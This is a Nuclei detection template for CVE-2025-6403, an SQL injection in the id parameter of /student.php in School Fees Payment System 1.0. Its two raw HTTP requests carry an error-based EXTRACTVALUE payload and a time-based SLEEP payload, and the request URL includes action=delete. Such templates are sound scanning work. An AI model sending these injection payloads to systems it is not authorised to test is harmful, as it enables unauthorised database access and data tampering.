id: CVE-2025-6403

info:
  name: Code-Projects School Fees Payment System 1.0 - SQL Injection
  author: hnd3884
  severity: critical
  description: |
    A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
  impact: |
    Remote attackers can execute arbitrary SQL commands, potentially leading to data theft or modification.
  remediation: |
    Update to the latest version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2025-6403
    - https://avd.aquasec.com/nvd/2025/cve-2025-6403/
    - https://github.com/tuooo/CVE/issues/16
    - https://vuldb.com/?id.313335
    - https://code-projects.org/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6403
    cwe-id: CWE-74
    epss-score: 0.017
    epss-percentile: 0.74201
    cpe: cpe:2.3:a:code-projects:school_fees_payment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,sqli,code_projects,unauth,school_fees_payment_system,time-based,vkev

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /student.php?action=delete&id=1'+AND+EXTRACTVALUE(0x0a,CONCAT(0x0a,VERSION()))--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "XPATH syntax error")'
        condition: and

  - raw:
      - |
        GET /student.php?action=delete&id=1'+AND+SLEEP(7)--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 302'
          - 'contains(body, "login.php")'
        condition: and
# digest: 4a0a0047304502204a445816a26340b3dc8b8408ba8d1a7d220433554b8a71d2ae15d68528a523a3022100e73a1a2a57f69ffba169c964992b61850fc9874c3990042a49785abd527fa55d:922c64590222798bb761d5b6d8e72950